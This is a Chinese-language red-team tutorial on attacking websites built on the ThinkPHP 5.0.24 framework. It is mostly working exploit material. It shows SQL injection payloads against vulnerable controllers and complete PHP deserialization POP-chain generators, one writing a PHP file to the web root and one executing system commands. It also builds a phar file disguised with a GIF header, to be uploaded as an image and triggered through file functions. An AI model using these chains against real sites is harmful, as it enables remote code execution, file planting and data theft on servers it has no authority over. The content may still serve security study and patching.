红队攻击第3篇 thinkphp5框架 注入 反序列化写文件  phar反序列化

1介绍

thinkphp框架开发的网站特别的多，如一些骗子站，传销站，还有一些网站cms都是基于整个框架。
这里主要针对thinkphp5这个版本。基于这个框架开发的产品特别多。

2常见漏洞

1.SQL注入1

<?php
namespace app\index\controller;use think\Db;class Index{    //sqli注入     public function test3(){      echo "test3";     $id = input('id');     $result = Db::name('users')->where("id = {$id}")->select();     echo "<pre>";     var_dump($result);     echo "</pre>";    }

}
http://www.tp5024.com/index.php/index/index/test3/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

2.SQL注入2

<?php
namespace app\index\controller;use think\Db;class Index{    public function index(){
    $username = request()->get('username');    $result = db('users')->where('username','exp',$username)->select();     echo "<pre>";     var_dump($result);     echo "</pre>";    }

}

3.thinkphp5 反序列化写文件
这里就以 thinkphp5.0.24 这个版本 其他版本大同小异

<?phpnamespace think\process\pipes{    use think\model\Pivot;    use think\cache\driver\Memcached;    class Windows{        private $files = [];        public function __construct($path,$data){            $this->files = [new Pivot($path,$data)];        }    }    $data = base64_encode('<?php phpinfo();?>');    echo "tp5.0.24 write file pop Chain\n";    echo "The '=' cannot exist in the data,please check：".$data."\n";    $path = 'php://filter/convert.base64-decode/resource=./';    $aaa = new Windows($path,$data);    echo base64_encode(serialize($aaa));    echo "\n";    echo 'filename:'.md5('tag_'.md5(true)).'.php';}namespace think{    abstract class Model    {}}namespace think\model{    use think\Model;    class Pivot extends Model{        protected $append = [];        protected $error;        public $parent;        public function __construct($path,$data){            $this->append['jelly'] = 'getError';            $this->error = new relation\BelongsTo($path,$data);            $this->parent = new \think\console\Output($path,$data);        }    }    abstract class Relation{}}namespace think\model\relation{    use think\db\Query;    use think\model\Relation;    abstract class OneToOne extends Relation{}    class BelongsTo extends OneToOne{        protected $selfRelation;        protected $query;        protected $bindAttr = [];        public function __construct($path,$data){            $this->selfRelation = false;            $this->query = new Query($path,$data);            $this->bindAttr = ['a'.$data];        }    }}namespace think\db{    use think\console\Output;    class Query{        protected $model;        public function __construct($path,$data){            $this->model = new Output($path,$data);        }    }}namespace think\console{    use think\session\driver\Memcache;    class Output{        protected $styles = [];        private $handle;        public function __construct($path,$data){            $this->styles = ['getAttr'];            $this->handle = new Memcache($path,$data);        }    }}namespace think\session\driver{    use think\cache\driver\File;    use think\cache\driver\Memcached;    class Memcache{        protected $handler = null;        protected $config  = [            'expire'       => '',            'session_name' => '',        ];        public function __construct($path,$data){            $this->handler = new Memcached($path,$data);        }    }}namespace think\cache\driver{    class Memcached    {        protected $handler;        protected $tag;        protected $options = [];        public function __construct($path,$data){            $this->options = ['prefix'   => ''];            $this->handler = new File($path,$data);            $this->tag = true;        }    }}namespace think\cache\driver{    class File    {        protected $options = [];        protected $tag;        public function __construct($path,$data){            $this->tag = false;            $this->options = [                'expire'        => 0,                'cache_subdir'  => false,                'prefix'        => '',                'path'          => $path,                'data_compress' => false,            ];        }    }}

在代码审计里如果发现unserialize这个函数传入的参数可控 就可以进行利用了 通常的情况下 是
unserialize(加密函数(传入值)) 这种模式居多  这里就以这个为例子。

<?phpnamespace app\index\controller;
class Index{    public function index(){

        return "thinkphp 5.0.24";

    }
    //反序列化     public function test1(){           $id = unserialize(base64_decode($_GET['data']));           var_dump($id);    }    //反序列化 phar    public function test2(){        echo file_get_contents($_GET['file']);    } }

4.thinkphp5 phar反序列化  
首先 php里要关闭这个只读模式

thinkphp5.0.24 还有其他链子

<?phpnamespace think\process\pipes{    use think\model\Pivot;    ini_set('display_errors',1);    class Windows{        private $files = [];        public function __construct($function,$parameter){            $this->files = [new Pivot($function,$parameter)];        }    }    $aaa = new Windows('system','whoami');    echo base64_encode(serialize($aaa));}



namespace think{    abstract class Model    {}}namespace think\model{    use think\Model;    use think\console\Output;    class Pivot extends Model{        protected $append = [];        protected $error;        public $parent;        public function __construct($function,$parameter){            $this->append['jelly'] = 'getError';            $this->error = new relation\BelongsTo($function,$parameter);            $this->parent = new Output($function,$parameter);        }    }    abstract class Relation{}}namespace think\model\relation{    use think\db\Query;    use think\model\Relation;    abstract class OneToOne extends Relation{}    class BelongsTo extends OneToOne{        protected $selfRelation;        protected $query;        protected $bindAttr = [];        public function __construct($function,$parameter){            $this->selfRelation = false;            $this->query = new Query($function,$parameter);            $this->bindAttr = [''];        }    }}namespace think\db{    use think\console\Output;    class Query{        protected $model;        public function __construct($function,$parameter){            $this->model = new Output($function,$parameter);        }    }}namespace think\console{    use think\session\driver\Memcache;    class Output{        protected $styles = [];        private $handle;        public function __construct($function,$parameter){            $this->styles = ['getAttr'];            $this->handle = new Memcache($function,$parameter);        }    }}namespace think\session\driver{    use think\cache\driver\Memcached;    class Memcache{        protected $handler = null;        protected $config  = [            'expire'       => '',            'session_name' => '',        ];        public function __construct($function,$parameter){            $this->handler = new Memcached($function,$parameter);        }    }}namespace think\cache\driver{    use think\Request;    class Memcached{        protected $handler;        protected $options = [];        protected $tag;        public function __construct($function,$parameter){            // pop链中需要prefix存在，否则报错            $this->options = ['prefix'   => 'jelly/'];            $this->tag = true;            $this->handler = new Request($function,$parameter);        }    }}namespace think{    class Request    {        protected $get     = [];        protected $filter;        public function __construct($function,$parameter){            $this->filter = $function;            $this->get = ["jelly"=>$parameter];        }    }}

这个是命令执行的 将它改成 phar 生成的包

<?phpnamespace think\process\pipes{    use think\model\Pivot;    ini_set('display_errors',1);    class Windows{        private $files = [];        public function __construct($function,$parameter){            $this->files = [new Pivot($function,$parameter)];        }    }
}


namespace {    use think\process\pipes\Windows;    $data= new Windows('system', 'whoami');    unlink('exp2.phar');    $phar = new Phar('exp2.phar');    $phar -> stopBuffering();    $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub    $phar -> addFromString('test.txt','test');    $object = $data;    $phar -> setMetadata($object);    $phar -> stopBuffering();}

namespace think{    abstract class Model    {}}namespace think\model{    use think\Model;    use think\console\Output;    class Pivot extends Model{        protected $append = [];        protected $error;        public $parent;        public function __construct($function,$parameter){            $this->append['jelly'] = 'getError';            $this->error = new relation\BelongsTo($function,$parameter);            $this->parent = new Output($function,$parameter);        }    }    abstract class Relation{}}namespace think\model\relation{    use think\db\Query;    use think\model\Relation;    abstract class OneToOne extends Relation{}    class BelongsTo extends OneToOne{        protected $selfRelation;        protected $query;        protected $bindAttr = [];        public function __construct($function,$parameter){            $this->selfRelation = false;            $this->query = new Query($function,$parameter);            $this->bindAttr = [''];        }    }}namespace think\db{    use think\console\Output;    class Query{        protected $model;        public function __construct($function,$parameter){            $this->model = new Output($function,$parameter);        }    }}namespace think\console{    use think\session\driver\Memcache;    class Output{        protected $styles = [];        private $handle;        public function __construct($function,$parameter){            $this->styles = ['getAttr'];            $this->handle = new Memcache($function,$parameter);        }    }}namespace think\session\driver{    use think\cache\driver\Memcached;    class Memcache{        protected $handler = null;        protected $config  = [            'expire'       => '',            'session_name' => '',        ];        public function __construct($function,$parameter){            $this->handler = new Memcached($function,$parameter);        }    }}namespace think\cache\driver{    use think\Request;    class Memcached{        protected $handler;        protected $options = [];        protected $tag;        public function __construct($function,$parameter){            // pop链中需要prefix存在，否则报错            $this->options = ['prefix'   => 'jelly/'];            $this->tag = true;            $this->handler = new Request($function,$parameter);        }    }}namespace think{    class Request    {        protected $get     = [];        protected $filter;        public function __construct($function,$parameter){            $this->filter = $function;            $this->get = ["jelly"=>$parameter];        }    }}

找个地方上传 审计文件操作函数 然后传入就可以了。

一般的方法是上传图片 再用phar访问就能触发了
